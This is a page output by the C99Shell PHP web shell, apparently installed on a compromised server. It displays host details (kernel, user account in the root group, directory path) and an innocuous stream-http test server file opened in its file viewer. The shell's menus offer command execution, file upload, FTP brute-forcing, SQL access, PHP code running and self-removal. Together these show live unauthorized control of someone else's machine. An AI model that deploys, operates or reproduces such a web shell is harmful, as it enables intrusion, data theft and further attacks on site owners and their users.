!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/node_modules/stream-http/test/server/   drwxr-xr-x
Free 28.18 GB of 117.98 GB (23.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.js (3.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
var cookieParser = require('cookie-parser')
var basicAuth = require('basic-auth')
var express = require('express')
var fs = require('fs')
var http = require('http')
var path = require('path')
var url = require('url')

var app = express()
var server = http.createServer(app)

// Otherwise, use 'application/octet-stream'
var copiesMimeTypes = {
	'/basic.txt': 'text/plain'
}

var maxDelay = 5000 // ms

// This should make sure bodies aren't cached
// so the streaming tests always pass
app.use(function (req, res, next) {
	res.setHeader('Cache-Control', 'no-store')
	next()
})

app.get('/testHeaders', function (req, res) {
	var parsed = url.parse(req.url, true)

	// Values in query parameters are sent as response headers
	Object.keys(parsed.query).forEach(function (key) {
		res.setHeader('Test-' + key, parsed.query[key])
	})

	res.setHeader('Content-Type', 'application/json')
	res.setHeader('Cache-Control', 'no-cache')

	// Request headers are sent in the body as json
	var reqHeaders = {}
	Object.keys(req.headers).forEach(function (key) {
		key = key.toLowerCase()
		if (key.indexOf('test-') === 0) {
			// different browsers format request headers with multiple values
			// slightly differently, so normalize
			reqHeaders[key] = req.headers[key].replace(', ', ',')
		}
	})

	var body = JSON.stringify(reqHeaders)
	res.setHeader('Content-Length', body.length)
	res.write(body)
	res.end()
})

app.get('/cookie', cookieParser(), function (req, res) {
	res.setHeader('Content-Type', 'text/plain')
	res.write('hello=' + req.cookies.hello)
	res.end()
})

app.get('/auth', function (req, res) {
	var user = basicAuth(req)

	if (!user || user.name !== 'TestUser' || user.pass !== 'trustno1') {
		res.setHeader('WWW-Authenticate', 'Basic realm="example"')
		res.end('Access denied')
	} else {
		res.setHeader('Content-Type', 'text/plain')
		res.write('You\'re in!')
		res.end()
	}
})

app.post('/echo', function (req, res) {
	res.setHeader('Content-Type', 'application/octet-stream')
	req.pipe(res)
})

app.use('/verifyEmpty', function (req, res) {
	var empty = true
	req.on('data', function (buf) {
		if (buf.length > 0) {
			empty = false
		}
	})
	req.on('end', function () {
		res.setHeader('Content-Type', 'text/plain')

		if (empty) {
			res.end('empty')
		} else {
			res.end('not empty')
		}
	})
})

app.use(function (req, res, next) {
	var parsed = url.parse(req.url, true)

	if ('copies' in parsed.query) {
		var totalCopies = parseInt(parsed.query.copies, 10)
		function fail () {
			res.statusCode = 500
			res.end()
		}
		fs.readFile(path.join(__dirname, 'static', parsed.pathname), function (err, data) {
			if (err)
				return fail()

			var mimeType = copiesMimeTypes[parsed.pathname] || 'application/octet-stream'
			res.setHeader('Content-Type', mimeType)
			res.setHeader('Content-Length', data.length * totalCopies)
			var pieceDelay = maxDelay / totalCopies
			if (pieceDelay > 100)
				pieceDelay = 100

			function write (copies) {
				if (copies === 0) 
					return res.end()

				res.write(data, function (err) {
					if (err)
						return fail()
					setTimeout(write.bind(null, copies - 1), pieceDelay)
				})
			}
			write(totalCopies)
		})
		return
	}
	next()
})

app.use(express.static(path.join(__dirname, 'static')))

var port = parseInt(process.env.AIRTAP_PORT) || 8199
console.log('Test server listening on port', port)
server.listen(port)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--